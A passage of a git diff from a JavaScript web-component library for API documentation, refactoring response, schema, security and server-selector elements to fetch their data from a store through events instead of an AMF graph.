+export const queryProtocols = Symbol('queryProtocols');
+export const protocolsValue = Symbol('protocolsValue');
 export const urlValue = Symbol('urlValue');
 export const baseUriValue = Symbol('baseUriValue');
 export const computeUrlValue = Symbol('computeUrlValue');
@@ -190,6 +196,13 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas
     return this[urlValue];
   }
 
+  /**
+   * @returns {string[]|undefined} The API's protocols.
+   */
+  get protocols() {
+    return this[protocolsValue];
+  }
+
   static get properties() {
     return {
       /**
@@ -311,8 +324,6 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas
      * @type {string}
      */
     this.operationId = undefined;
-    /** @type {EndPoint} */
-    this.domainModel = undefined;
     /** @type {boolean} */
     this.tryItButton = undefined;
     /** @type {boolean} */
@@ -340,6 +351,8 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas
     this[serverValue] = undefined;
     /** @type {Record<string, ApiConsoleRequest>} */
     this[requestValues] = {};
+    /** @type string[] */
+    this[protocolsValue] = undefined;
   }
 
   disconnectedCallback() {
@@ -366,20 +379,9 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas
    * @returns {Promise<void>}
    */
   async processGraph() {
-    const { domainModel, domainId, amf } = this;
-    this[requestValues] = /** @type {Record<string, ApiConsoleRequest>} */ ({});
-    if (domainModel) {
-      this[endpointValue] = this[serializerValue].endPoint(domainModel);
-    } else if (domainId && amf) {
-      if (!this[endpointValue] || this[endpointValue].id !== domainId) {
-        const webApi = this._computeApi(amf);
-        const model = this._computeEndpointModel(webApi, domainId);
-        if (model) {
-          this[endpointValue] = this[serializerValue].endPoint(model);
-        }
-      }
-    }
+    await this[queryEndpoint]();
     await this[queryServers]();
+    await this[queryProtocols]();
     this[computeUrlValue]();
     await this.requestUpdate();
     if (this[processSelectionTimeout]) {
@@ -396,6 +398,43 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas
     }, 200);
   }
 
+  /**
+   * Queries the API store for the API summary object.
+   */
+  async [queryProtocols]() {
+    this[protocolsValue] = undefined;
+    try {
+      const info = await ApiEvents.protocols(this);
+      this[protocolsValue] = info;
+    } catch (e) {
+      TelemetryEvents.exception(this, e.message, false);
+      ReportingEvents.error(this, e, `Unable to query for API protocols list: ${e.message}`, this.localName);
+    }
+  }
+
+  /**
+   * Queries the store for the endpoint data.
+   * @returns {Promise<void>}
+   */
+  async [queryEndpoint]() {
+    const { domainId } = this;
+    if (!domainId) {
+      // this[endpointValue] = undefined;
+      return;
+    }
+    if (this[endpointValue] && this[endpointValue].id === domainId) {
+      // in case the endpoint model was provided via property setter.
+      return;
+    }
+    try {
+      const info = await EndpointEvents.get(this, domainId);
+      this[endpointValue] = info;
+    } catch (e) {
+      TelemetryEvents.exception(this, e.message, false);
+      ReportingEvents.error(this, e, `Unable to query for API endpoint data: ${e.message}`, this.localName);
+    }
+  }
+
   /**
    * Scrolls to the selected operation after view update.
    */
@@ -410,18 +449,22 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas
   }
 
   /**
-   * Queries for the current servers value.
+   * Queries the store for the current servers value.
+   * @returns {Promise<void>}
    */
   async [queryServers]() {
     this[serversValue] = undefined;
     const { domainId } = this;
     const endpointId = this[endpointValue] && this[endpointValue].id;
-    const servers = this._getServers({
-      endpointId,
-      methodId: domainId,
-    });
-    if (Array.isArray(servers) && servers.length) {
-      this[serversValue] = servers.map(server => this[serializerValue].server(server));
+    try {
+      const info = await ServerEvents.query(this, {
+        endpointId,
+        methodId: domainId,
+      });
+      this[serversValue] = info;
+    } catch (e) {
+      TelemetryEvents.exception(this, e.message, false);
+      ReportingEvents.error(this, e, `Unable to query for API servers: ${e.message}`, this.localName);
     }
   }
 
@@ -452,9 +495,7 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas
    */
   [computeUrlValue]() {
     const endpoint = this[endpointValue];
-    const { baseUri, server } = this;
-    const wa = this._computeWebApi(this.amf);
-    const protocols = /** @type string[] */ (this._getValueArray(wa, this.ns.aml.vocabularies.apiContract.scheme));
+    const { baseUri, server, protocols } = this;
     const url = UrlLib.computeEndpointUri({ baseUri, server, endpoint, protocols, });
     this[urlValue] = url;
   }
@@ -560,7 +601,7 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas
    * @returns {TemplateResult} The template for the API operation.
    */
   [operationTemplate](operation) {
-    const { serverId, baseUri, tryItPanel, tryItButton } = this;
+    const { endpoint, serverId, baseUri, tryItPanel, tryItButton } = this;
     const renderTryIt = !tryItPanel && !!tryItButton;
     const classes = {
       'operation-container': true,
@@ -568,9 +609,11 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas
     };
     return html`
     <div class="${classMap(classes)}">
-      <api-operation-document 
-        .amf="${this.amf}"
+      <api-operation-document
         .domainId="${operation.id}"
+        .operation="${operation}"
+        .endpoint="${endpoint}"
+        .endpointId="${endpoint.id}"
         .serverId="${serverId}" 
         .baseUri="${baseUri}" 
         ?anypoint="${this.anypoint}"
@@ -612,7 +655,6 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas
   [httpRequestTemplate](operation) {
     const content = html`
     <api-request
-      .amf="${this.amf}"
       .domainId="${operation.id}"
       .serverValue="${this.serverValue}"
       .serverType="${this.serverType}"
@@ -666,7 +708,7 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas
    * @return {TemplateResult|string} The template for the endpoint's extensions.
    */
   [extensionsTemplate]() {
-    const { endpoint, ns } = this;
+    const { endpoint } = this;
     const { extends: extensions } = endpoint;
 
     if (!extensions || !extensions.length) {
diff --git a/src/elements/ApiResponseDocumentElement.d.ts b/src/elements/ApiResponseDocumentElement.d.ts
index d028775..5f0d126 100644
--- a/src/elements/ApiResponseDocumentElement.d.ts
+++ b/src/elements/ApiResponseDocumentElement.d.ts
@@ -47,7 +47,6 @@ export default class ApiResponseDocumentElement extends ApiDocumentationBase {
   */
   mimeType: string;
   [payloadsValue]: ApiPayload[];
-  domainModel: Response;
   constructor();
 
   /**
diff --git a/src/elements/ApiResponseDocumentElement.js b/src/elements/ApiResponseDocumentElement.js
index 6d49dca..d4db338 100644
--- a/src/elements/ApiResponseDocumentElement.js
+++ b/src/elements/ApiResponseDocumentElement.js
@@ -16,14 +16,13 @@ import {
   paramsSectionTemplate, 
   schemaItemTemplate,
   descriptionTemplate,
-  serializerValue,
   customDomainPropertiesTemplate,
 } from './ApiDocumentationBase.js';
+import { Events } from '../events/Events.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
 /** @typedef {import('../helpers/api').ApiResponse} ApiResponse */
 /** @typedef {import('../helpers/api').ApiPayload} ApiPayload */
-/** @typedef {import('../helpers/amf').Response} Response */
 /** @typedef {import('../helpers/api').ApiTemplatedLink} ApiTemplatedLink */
 /** @typedef {import('../helpers/api').ApiIriTemplateMapping} ApiIriTemplateMapping */
 /** @typedef {import('@anypoint-web-components/awc').AnypointRadioGroupElement} AnypointRadioGroupElement */
@@ -130,8 +129,6 @@ export default class ApiResponseDocumentElement extends ApiDocumentationBase {
 
     this.headersOpened = false;
     this.payloadOpened = false;
-    /** @type Response */
-    this.domainModel = undefined;
   }
 
   /**
@@ -139,14 +136,35 @@ export default class ApiResponseDocumentElement extends ApiDocumentationBase {
    * @returns {Promise<void>}
    */
   async processGraph() {
-    const { domainModel } = this;
-    if (domainModel) {
-      this[responseValue] = this[serializerValue].response(domainModel);
-    }
+    await this[queryResponse]();
     await this[queryPayloads]();
     await this.requestUpdate();
   }
 
+  /**
+   * Queries the store for the response data, when needed.
+   * @returns {Promise<void>}
+   */
+  async [queryResponse]() {
+    const { domainId } = this;
+    if (!domainId) {
+      // this[responseValue] = undefined;
+      return;
+    }
+    if (this[responseValue] && this[responseValue].id === domainId) {
+      // in case the response model was provided via the property setter.
+      return;
+    }
+    try {
+      const info = await Events.Response.get(this, domainId);
+      this[responseValue] = info;
+    } catch (e) {
+      this[responseValue] = undefined;
+      Events.Telemetry.exception(this, e.message, false);
+      Events.Reporting.error(this, e, `Unable to query for API response data: ${e.message}`, this.localName);
+    }
+  }
+
   async [queryPayloads]() {
     const { response } = this;
     if (!response || !Array.isArray(response.payloads) || !response.payloads.length) {
@@ -205,7 +223,7 @@ export default class ApiResponseDocumentElement extends ApiDocumentationBase {
     }
     const content = html`
     ${this[payloadSelectorTemplate]()}
-    <api-payload-document .amf="${this.amf}" .payload="${payload}" ?anypoint="${this.anypoint}"></api-payload-document>
+    <api-payload-document .domainId="${payload.id}" .payload="${payload}" ?anypoint="${this.anypoint}"></api-payload-document>
     `;
     return this[paramsSectionTemplate]('Response body', 'payloadOpened', content);
   }
diff --git a/src/elements/ApiSchemaDocumentElement.d.ts b/src/elements/ApiSchemaDocumentElement.d.ts
index fd1530b..ffb2eaa 100644
--- a/src/elements/ApiSchemaDocumentElement.d.ts
+++ b/src/elements/ApiSchemaDocumentElement.d.ts
@@ -76,7 +76,6 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase {
   [expandedValue]: string[];
   [selectedUnionsValue]: Record<string, string>;
   [propertyDescriptionEditor]: string;
-  domainModel: Shape;
 
   constructor();
 
diff --git a/src/elements/ApiSchemaDocumentElement.js b/src/elements/ApiSchemaDocumentElement.js
index 4b5e9e7..3c4fe03 100644
--- a/src/elements/ApiSchemaDocumentElement.js
+++ b/src/elements/ApiSchemaDocumentElement.js
@@ -24,16 +24,15 @@ import {
 } from './SchemaCommonTemplates.js';
 import { 
   ApiDocumentationBase,
-  serializerValue,
   descriptionTemplate,
   customDomainPropertiesTemplate,
   evaluateExamples,
   examplesTemplate,
   examplesValue,
 } from './ApiDocumentationBase.js';
+import { Events } from '../events/Events.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
-/** @typedef {import('../helpers/amf').Shape} Shape */
 /** @typedef {import('../helpers/api').ApiShape} ApiShape */
 /** @typedef {import('../helpers/api').ApiShapeUnion} ApiShapeUnion */
 /** @typedef {import('../helpers/api').ApiExample} ApiExample */
@@ -188,34 +187,42 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase {
     this.schemaTitle = undefined;
     /** @type boolean */
     this.noReadOnly = undefined;
-    /** @type Shape */
-    this.domainModel = undefined;
   }
 
   /**
    * @returns {Promise<void>}
    */
   async processGraph() {
-    const { domainModel, domainId, amf } = this;
-    if (domainModel) {
-      this[schemaValue] = this[serializerValue].unknownShape(domainModel);
-    }
     this[expandedValue] = [];
     this[selectedUnionsValue] = {};
-
-    if (domainId && amf) {
-      const declares = this._computeDeclares(amf);
-      const references = this._computeReferences(amf);
-      const model = this._computeType(declares, references, domainId);
-      if (model) {
-        this[schemaValue] = this[serializerValue].unknownShape(model);
-      }
-    }
-    
+    await this[querySchema]();
     this[processSchema]();
     await this.requestUpdate();
   }
 
+  /**
+   * Queries the store for the schema data, when needed.
+   * @returns {Promise<void>}
+   */
+  async [querySchema]() {
+    const { domainId } = this;
+    if (!domainId) {
+      // this[schemaValue] = undefined;
+      return;
+    }
+    if (this[schemaValue] && this[schemaValue].id === domainId) {
+      // in case the schema model was provided via the property setter.
+      return;
+    }
+    try {
+      const info = await Events.Type.get(this, domainId);
+      this[schemaValue] = info;
+    } catch (e) {
+      Events.Telemetry.exception(this, e.message, false);
+      Events.Reporting.error(this, e, `Unable to query for API schema data: ${e.message}`, this.localName);
+    }
+  }
+
   /**
    * The logic to perform after schema is ready.
    * This processes examples for the schema.
diff --git a/src/elements/ApiSecurityDocumentElement.d.ts b/src/elements/ApiSecurityDocumentElement.d.ts
index d0e009c..11ffd4d 100644
--- a/src/elements/ApiSecurityDocumentElement.d.ts
+++ b/src/elements/ApiSecurityDocumentElement.d.ts
@@ -1,7 +1,6 @@
 import { TemplateResult } from 'lit-element';
 import { ApiDocumentationBase } from './ApiDocumentationBase.js';
-import { ApiSecurityScope, ApiSecurityOAuth2Flow, ApiSecurityOAuth1Settings, ApiSecurityOAuth2Settings, ApiSecurityScheme, ApiSecurityRequirement, ApiSecurityApiKeySettings, ApiSecurityOpenIdConnectSettings, ApiResponse } from '../helpers/api';
-import { DomainElement, SecurityScheme, SecurityRequirement } from '../helpers/amf';
+import { ApiSecurityScope, ApiSecurityOAuth2Flow, ApiSecurityOAuth1Settings, ApiSecurityOAuth2Settings, ApiSecurityScheme, ApiSecurityApiKeySettings, ApiSecurityOpenIdConnectSettings, ApiResponse } from '../helpers/api';
 
 export const querySecurity: unique symbol;
 export const processSecurity: unique symbol;
@@ -33,8 +32,6 @@ export const refreshUriTemplate: unique symbol;
 export const scopesTemplate: unique symbol;
 export const scopeTemplate: unique symbol;
 export const grantTitleTemplate: unique symbol;
-export const setModel: unique symbol;
-export const computeReferenceSecurity: unique symbol;
 export const oAuth1SettingsTemplate: unique symbol;
 export const tokenCredentialsUriTemplate: unique symbol;
 export const signaturesTemplate: unique symbol;
@@ -73,19 +70,12 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
   set securityScheme(value: ApiSecurityScheme);
   [securityValue]: ApiSecurityScheme;
   [responsesValue]: ApiResponse[];
-  domainModel: SecurityScheme;
   constructor();
   processGraph(): Promise<void>;
-
   /**
-   * Computes a security model from a reference (library for example).
-   * @param reference AMF model for a reference to extract the data from
-   * @param selected Node ID to look for
-   * @returns Type definition or undefined if not found.
+   * Queries for the security requirements object.
    */
-  [computeReferenceSecurity](reference: DomainElement, selected: string): SecurityRequirement;
-
-  [setModel](model: SecurityScheme): void;
+  [querySecurity](): Promise<void>;
 
   [processSecurity](): Promise<void>;
   /**
diff --git a/src/elements/ApiSecurityDocumentElement.js b/src/elements/ApiSecurityDocumentElement.js
index a926e79..70d70a0 100644
--- a/src/elements/ApiSecurityDocumentElement.js
+++ b/src/elements/ApiSecurityDocumentElement.js
@@ -10,9 +10,9 @@ import {
   ApiDocumentationBase, 
   paramsSectionTemplate, 
   schemaItemTemplate,
-  serializerValue,
   descriptionTemplate,
 } from './ApiDocumentationBase.js';
+import { Events } from '../events/Events.js';
 import commonStyles from './styles/Common.js';
 import elementStyles from './styles/ApiSecurityDocument.js';
 import schemaStyles from './styles/SchemaCommon.js';
@@ -29,7 +29,6 @@ import '../../define/api-response-document.js'
 /** @typedef {import('../helpers/api').ApiSecurityOAuth2Flow} ApiSecurityOAuth2Flow */
 /** @typedef {import('../helpers/api').ApiSecurityScope} ApiSecurityScope */
 /** @typedef {import('../helpers/api').ApiResponse} ApiResponse */
-/** @typedef {import('../helpers/amf').SecurityScheme} SecurityScheme */
 /** @typedef {import('../helpers/amf').DomainElement} DomainElement */
 /** @typedef {import('../helpers/amf').SecurityRequirement} SecurityRequirement */
 /** @typedef {import('@anypoint-web-components/awc').AnypointTabsElement} AnypointTabs */
@@ -64,8 +63,6 @@ export const refreshUriTemplate = Symbol('refreshUriTemplate');
 export const scopesTemplate = Symbol('scopesTemplate');
 export const scopeTemplate = Symbol('scopeTemplate');
 export const grantTitleTemplate = Symbol('grantTitleTemplate');
-export const setModel = Symbol('setModel');
-export const computeReferenceSecurity = Symbol('computeReferenceSecurity');
 export const oAuth1SettingsTemplate = Symbol('oAuth1SettingsTemplate');
 export const tokenCredentialsUriTemplate = Symbol('tokenCredentialsUriTemplate');
 export const signaturesTemplate = Symbol('signaturesTemplate');
@@ -141,82 +138,37 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
     this.headersOpened = false;
     this.parametersOpened = false;
     this.settingsOpened = false;
-    /** @type {SecurityScheme} */
-    this.domainModel = undefined;
   }
 
   /**
    * @returns {Promise<void>}
    */
   async processGraph() {
-    const { domainId, domainModel, amf } = this;
-    if (domainModel) {
-      this[setModel](domainModel);
-      return;
-    }
-    if (!domainId || !amf) {
-      return;
-    }
-    const declares = this._computeDeclares(amf);
-    let result;
-    if (declares) {
-      result = declares.find((item) => item['@id'] === domainId);
-    }
-    if (result) {
-      result = this._resolve(result);
-      this[setModel](result);
-      return;
-    }
-    const references = this._computeReferences(amf);
-    if (Array.isArray(references) && references.length) {
-      for (const ref of references) {
-        if (this._hasType(ref, this.ns.aml.vocabularies.document.Module)) {
-          result = this[computeReferenceSecurity](ref, domainId);
-          if (result) {
-            result = this._resolve(result);
-            this[setModel](result);
-            return;
-          }
-        }
-      }
-    }
-    this[setModel]();
+    await this[querySecurity]();
+    this.requestUpdate();
   }
 
   /**
-   * Computes a security model from a reference (library for example).
-   * @param {DomainElement} reference AMF model for a reference to extract the data from
-   * @param {string} selected Node ID to look for
-   * @return {SecurityRequirement|undefined} Type definition or undefined if not found.
+   * Queries for the security requirements object.
    */
-  [computeReferenceSecurity](reference, selected) {
-    const declare = this._computeDeclares(reference);
-    if (!declare) {
-      return undefined;
+  async [querySecurity]() {
+    const { domainId } = this;
+    if (!domainId) {
+      // this[securityValue] = undefined;
+      return;
     }
-    let result = declare.find((item) => {
-      if (Array.isArray(item)) {
-        [item] = item;
-      }
-      return item['@id'] === selected;
-    });
-    if (Array.isArray(result)) {
-      [result] = result;
+    if (this[securityValue] && this[securityValue].id === domainId) {
+      // in case the security model was provided via the property setter.
+      return;
     }
-    return this._resolve(result);
-  }
-
-  /**
-   * @param {SecurityScheme=} model 
-   */
-  [setModel](model) {
-    if (model) {
-      this[securityValue] = this[serializerValue].securityScheme(model);
-    } else {
+    try {
+      const info = await Events.Security.get(this, domainId);
+      this[securityValue] = info;
+    } catch (e) {
       this[securityValue] = undefined;
+      Events.Telemetry.exception(this, e.message, false);
+      Events.Reporting.error(this, e, `Unable to query for API operation data: ${e.message}`, this.localName);
     }
-    this[processSecurity]();
-    this.requestUpdate();
   }
 
   async [processSecurity]() {
@@ -381,7 +333,7 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase {
       return html`<div class="empty-info text-selectable">Select a response to render the documentation.</div>`;
     }
     return html`
-    <api-response-document .amf="${this.amf}" .response="${response}" ?anypoint="${this.anypoint}" headersOpened payloadOpened></api-response-document>
+    <api-response-document .response="${response}" ?anypoint="${this.anypoint}" headersOpened payloadOpened></api-response-document>
     `;
   }
 
diff --git a/src/elements/ApiSecurityRequirementDocumentElement.d.ts b/src/elements/ApiSecurityRequirementDocumentElement.d.ts
index 6667a2b..7eaf339 100644
--- a/src/elements/ApiSecurityRequirementDocumentElement.d.ts
+++ b/src/elements/ApiSecurityRequirementDocumentElement.d.ts
@@ -1,19 +1,15 @@
 import { TemplateResult } from 'lit-element';
 import { ApiDocumentationBase } from './ApiDocumentationBase.js';
 import { ApiSecurityRequirement } from '../helpers/api';
-import { SecurityRequirement } from '../helpers/amf';
 
 export const securityRequirementValue: unique symbol;
-export const findOperationSecurity: unique symbol;
 
 export default class ApiSecurityRequirementDocumentElement extends ApiDocumentationBase {
-  domainModel: SecurityRequirement;
   [securityRequirementValue]: ApiSecurityRequirement;
   constructor();
   get securityRequirement(): ApiSecurityRequirement;
   set securityRequirement(value: ApiSecurityRequirement);
   processGraph(): Promise<void>;
-  [findOperationSecurity](id: string): SecurityRequirement|undefined;
 
   render(): TemplateResult;
 }
diff --git a/src/elements/ApiSecurityRequirementDocumentElement.js b/src/elements/ApiSecurityRequirementDocumentElement.js
index 13ce287..6cf64f6 100644
--- a/src/elements/ApiSecurityRequirementDocumentElement.js
+++ b/src/elements/ApiSecurityRequirementDocumentElement.js
@@ -2,8 +2,8 @@
 import { html } from 'lit-element';
 import { 
   ApiDocumentationBase,
-  serializerValue,
 } from './ApiDocumentationBase.js';
+import { Events } from '../events/Events.js';
 import elementStyles from './styles/ApiSecurityRequirement.js';
 import '../../define/api-parametrized-security-scheme.js';
 
@@ -11,7 +11,7 @@ import '../../define/api-parametrized-security-scheme.js';
 /** @typedef {import('../helpers/amf').SecurityRequirement} SecurityRequirement */
 
 export const securityRequirementValue = Symbol('securityRequirementValue');
-export const findOperationSecurity = Symbol('findOperationSecurity');
+export const querySecurity = Symbol('querySecurity');
 
 export default class ApiSecurityRequirementDocumentElement extends ApiDocumentationBase {
   get styles() {
@@ -22,8 +22,6 @@ export default class ApiSecurityRequirementDocumentElement extends ApiDocumentat
     super();
     /** @type {ApiSecurityRequirement} */
     this[securityRequirementValue] = undefined;
-    /** @type {SecurityRequirement} */
-    this.domainModel = undefined;
   }
 
   /**
@@ -49,52 +47,31 @@ export default class ApiSecurityRequirementDocumentElement extends ApiDocumentat
    * @returns {Promise<void>}
    */
   async processGraph() {
-    const { domainModel, domainId } = this;
-    let processModel = domainModel;
-    if (!processModel && domainId) {
-      if (!this[securityRequirementValue] || this[securityRequirementValue].id !== domainId) {
-        processModel = this[findOperationSecurity](domainId);
-      }
-    }
-    if (processModel) {
-      this[securityRequirementValue] = this[serializerValue].securityRequirement(processModel);
-    }
-    await this.requestUpdate();
+    await this[querySecurity]();
+    this.requestUpdate();
   }
 
   /**
-   * @param {string} id
-   * @returns {SecurityRequirement|undefined} 
+   * Queries for the security requirements object.
    */
-  [findOperationSecurity](id) {
-    const { amf } = this;
-    if (!amf) {
-      return undefined;
-    }
-    const wa = this._computeApi(amf);
-    if (!wa) {
-      return undefined;
+  async [querySecurity]() {
+    const { domainId } = this;
+    if (!domainId) {
+      // this[securityValue] = undefined;
+      return;
     }
-    const endpoints = wa[this._getAmfKey(this.ns.aml.vocabularies.apiContract.endpoint)];
-    if (!Array.isArray(endpoints)) {
-      return undefined;
+    if (this[securityRequirementValue] && this[securityRequirementValue].id === domainId) {
+      // in case the security model was provided via the property setter.
+      return;
     }
-    for (const endpoint of endpoints) {
-      const operations = endpoint[this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation)];
-      if (Array.isArray(operations)) {
-        for (const operation of operations) {
-          const securityList = operation[this._getAmfKey(this.ns.aml.vocabularies.security.security)];
-          if (Array.isArray(securityList)) {
-            for (const security of securityList) {
-              if (security['@id'] === id) {
-                return security;
-              }
-            }
-          }
-        }
-      }
+    try {
+      const info = await Events.Security.getRequirement(this, domainId);
+      this[securityRequirementValue] = info;
+    } catch (e) {
+      this[securityRequirementValue] = undefined;
+      Events.Telemetry.exception(this, e.message, false);
+      Events.Reporting.error(this, e, `Unable to query for API operation data: ${e.message}`, this.localName);
     }
-    return undefined;
   }
 
   render() {
@@ -107,7 +84,6 @@ export default class ApiSecurityRequirementDocumentElement extends ApiDocumentat
     <div class="security-requirements">
       ${scheme.schemes.map((item) => html`
         <api-parametrized-security-scheme 
-          .amf="${this.amf}"
           .securityScheme="${item.scheme}" 
           .settings="${item.settings}"
           ?anypoint="${this.anypoint}"
diff --git a/src/elements/ApiServerSelectorElement.d.ts b/src/elements/ApiServerSelectorElement.d.ts
index 1a6f89f..be7e066 100644
--- a/src/elements/ApiServerSelectorElement.d.ts
+++ b/src/elements/ApiServerSelectorElement.d.ts
@@ -1,25 +1,22 @@
 import { LitElement, TemplateResult } from 'lit-element';
 import { ApiServer } from '../helpers/api';
-import { AmfDocument } from '../helpers/amf';
-import { AmfHelperMixin } from '../helpers/AmfHelperMixin';
-import { ServerType, SelectionInfo, UpdateServersOptions } from '../types';
+import { ServerType, SelectionType } from '../types';
 
+export const domainIdValue: unique symbol;
+export const domainTypeValue: unique symbol;
+export const debounceValue: unique symbol;
+export const processDebounce: unique symbol;
 export const customNodesCount: unique symbol;
 export const allowCustomValue: unique symbol;
 export const baseUriValue: unique symbol;
 export const valueValue: unique symbol;
 export const customItems: unique symbol;
-export const serializerValue: unique symbol;
 export const serversValue: unique symbol;
 export const onServersCountChangeValue: unique symbol;
 export const onApiServerChange: unique symbol;
-export const selectedShapeValue: unique symbol;
-export const selectedShapeTypeValue: unique symbol;
 export const getServerIndexByUri: unique symbol;
 export const getSelectionInfo: unique symbol;
-export const getEndpointIdForMethod: unique symbol;
 export const getExtraServers: unique symbol;
-export const processShapeChange: unique symbol;
 export const resetSelection: unique symbol;
 export const updateServerSelection: unique symbol;
 export const notifyServersCount: unique symbol;
@@ -36,6 +33,8 @@ export const serverListTemplate: unique symbol;
 export const serverListItemTemplate: unique symbol;
 export const customUriTemplate: unique symbol;
 export const customUriInputTemplate: unique symbol;
+export const graphChangeHandler: unique symbol;
+export const queryServers: unique symbol;
 
 /**
  * An element that renders a selection of servers defined in AMF graph model for an API.
@@ -64,7 +63,7 @@ export const customUriInputTemplate: unique symbol;
  * @fires serverscountchanged
  * @fires apiserverchanged
  */
-export default class ApiServerSelectorElement extends AmfHelperMixin(LitElement) {
+export default class ApiServerSelectorElement extends LitElement {
   /**
    * The baseUri to override any server definition
    * @attribute
@@ -126,13 +125,13 @@ export default class ApiServerSelectorElement extends AmfHelperMixin(LitElement)
    * When changed, it computes servers for the selection
    * @attribute
    */
-  selectedShape: string;
+  domainId: string;
   /**
    * The type of the selected AMF shape.
    * When changed, it computes servers for the selection
    * @attribute
    */
-  selectedShapeType: string;
+  domainType: SelectionType;
   /**
    * @returns Computed list of all URI values from both the servers
    * and the list of rendered custom items.
@@ -179,6 +178,11 @@ export default class ApiServerSelectorElement extends AmfHelperMixin(LitElement)
    * @returns Total number of list items being rendered.
    */
   get serversCount(): number;
+  /** 
+     * The timeout after which the `queryGraph()` function is called 
+     * in the debouncer.
+     */
+  queryDebouncerTimeout: number;
 
   // /**
   //  * Async function to set value after component has finished updating
@@ -212,20 +216,16 @@ export default class ApiServerSelectorElement extends AmfHelperMixin(LitElement)
   // [childrenHandler](): void;
 
   /**
-   * @override callback function when AMF change.
-   * This is asynchronous operation.
+   * Queries for the current API server data from the store.
    */
-  __amfChanged(amf: AmfDocument): Promise<void>;
+  processGraph(): Promise<void>;
 
   /**
    * Executes auto selection logic.
-   * It selects a fist available sever from the serves list when AMF or operation
-   * selection changed.
-   * If there are no servers, but there are custom slots available, then select
-   * first custom slot
-   * When there's already valid selection then it does nothing.
+   * 
+   * @param preferred The value that should be selected when possible.
    */
-  selectIfNeeded(): void;
+  selectIfNeeded(preferred?: string): void;
 
   // /**
   //  * Collects information about selection from the current value.
@@ -251,13 +251,6 @@ export default class ApiServerSelectorElement extends AmfHelperMixin(LitElement)
   //  */
   // [getServerIndexByUri](servers: ApiServer[], value: string): number;
 
-  /**
-   * Update component's servers.
-   *
-   * @param selectedNodeParams The currently selected node parameters to set the servers for
-   */
-  updateServers(selectedNodeParams?: UpdateServersOptions): void;
-
   // /**
   //  * Handler for the listbox's change event
   //  */
diff --git a/src/elements/ApiServerSelectorElement.js b/src/elements/ApiServerSelectorElement.js
index 55917f2..7a49220 100644
--- a/src/elements/ApiServerSelectorElement.js
+++ b/src/elements/ApiServerSelectorElement.js
@@ -2,6 +2,7 @@
 /* eslint-disable no-plusplus */
 /* eslint-disable class-methods-use-this */
 import { html, LitElement } from 'lit-element';
+import { EventsTargetMixin } from '@anypoint-web-components/awc';
 import '@anypoint-web-components/awc/anypoint-input.js';
 import '@anypoint-web-components/awc/anypoint-dropdown-menu.js';
 import '@anypoint-web-components/awc/anypoint-listbox.js';
@@ -9,35 +10,32 @@ import '@anypoint-web-components/awc/anypoint-item.js';
 import '@anypoint-web-components/awc/anypoint-icon-button.js';
 import { close } from '@advanced-rest-client/icons/ArcIcons.js';
 import elementStyles from './styles/ServerSelector.js';
-import { ServerEvents } from '../events/ServerEvents.js';
+import { Events } from '../events/Events.js';
 import { EventTypes } from '../events/EventTypes.js';
-import { AmfHelperMixin } from '../helpers/AmfHelperMixin.js';
-import { AmfSerializer } from '../helpers/AmfSerializer.js';
 
 /** @typedef {import('lit-html').TemplateResult} TemplateResult */
 /** @typedef {import('@anypoint-web-components/awc').AnypointListboxElement} AnypointListboxElement */
 /** @typedef {import('@anypoint-web-components/awc').AnypointDropdownElement} AnypointDropdownElement */
-/** @typedef {import('../helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../helpers/api').ApiServer} ApiServer */
 /** @typedef {import('../types').SelectionInfo} SelectionInfo */
 /** @typedef {import('../types').UpdateServersOptions} UpdateServersOptions */
+/** @typedef {import('../types').SelectionType} SelectionType */
 
+export const domainIdValue = Symbol('domainIdValue');
+export const domainTypeValue = Symbol('domainTypeValue');
+export const debounceValue = Symbol('debounceValue');
+export const processDebounce = Symbol('processDebounce');
 export const customNodesCount = Symbol('customNodesCount');
 export const allowCustomValue = Symbol('allowCustomValue');
 export const baseUriValue = Symbol('baseUriValue');
 export const valueValue = Symbol('valueValue');
 export const customItems = Symbol('customItems');
-export const serializerValue = Symbol('serializerValue');
 export const serversValue = Symbol('serversValue');
 export const onServersCountChangeValue = Symbol('onServersCountChangeValue');
 export const onApiServerChange = Symbol('onApiServerChange');
-export const selectedShapeValue = Symbol('selectedShapeValue');
-export const selectedShapeTypeValue = Symbol('selectedShapeTypeValue');
 export const getServerIndexByUri = Symbol('getServerIndexByUri');
 export const getSelectionInfo = Symbol('getSelectionInfo');
-export const getEndpointIdForMethod = Symbol('getEndpointIdForMethod');
 export const getExtraServers = Symbol('getExtraServers');
-export const processShapeChange = Symbol('processShapeChange');
 export const resetSelection = Symbol('resetSelection');
 export const updateServerSelection = Symbol('updateServerSelection');
 export const notifyServersCount = Symbol('notifyServersCount');
@@ -54,6 +52,8 @@ export const serverListTemplate = Symbol('serverListTemplate');
 export const serverListItemTemplate = Symbol('serverListItemTemplate');
 export const customUriTemplate = Symbol('customUriTemplate');
 export const customUriInputTemplate = Symbol('customUriInputTemplate');
+export const graphChangeHandler = Symbol('graphChangeHandler');
+export const queryServers = Symbol('queryServers');
 
 /**
  * An element that renders a selection of servers defined in AMF graph model for an API.
@@ -79,7 +79,7 @@ export const customUriInputTemplate = Symbol('customUriInputTemplate');
  * `value` attribute. This is the value that will be dispatched in the `api-server-changed`
  * event.
  */
-export default class ApiServerSelectorElement extends AmfHelperMixin(LitElement) {
+export default class ApiServerSelectorElement extends EventsTargetMixin(LitElement) {
   static get properties() {
     return {
       /**
@@ -131,17 +131,59 @@ export default class ApiServerSelectorElement extends AmfHelperMixin(LitElement)
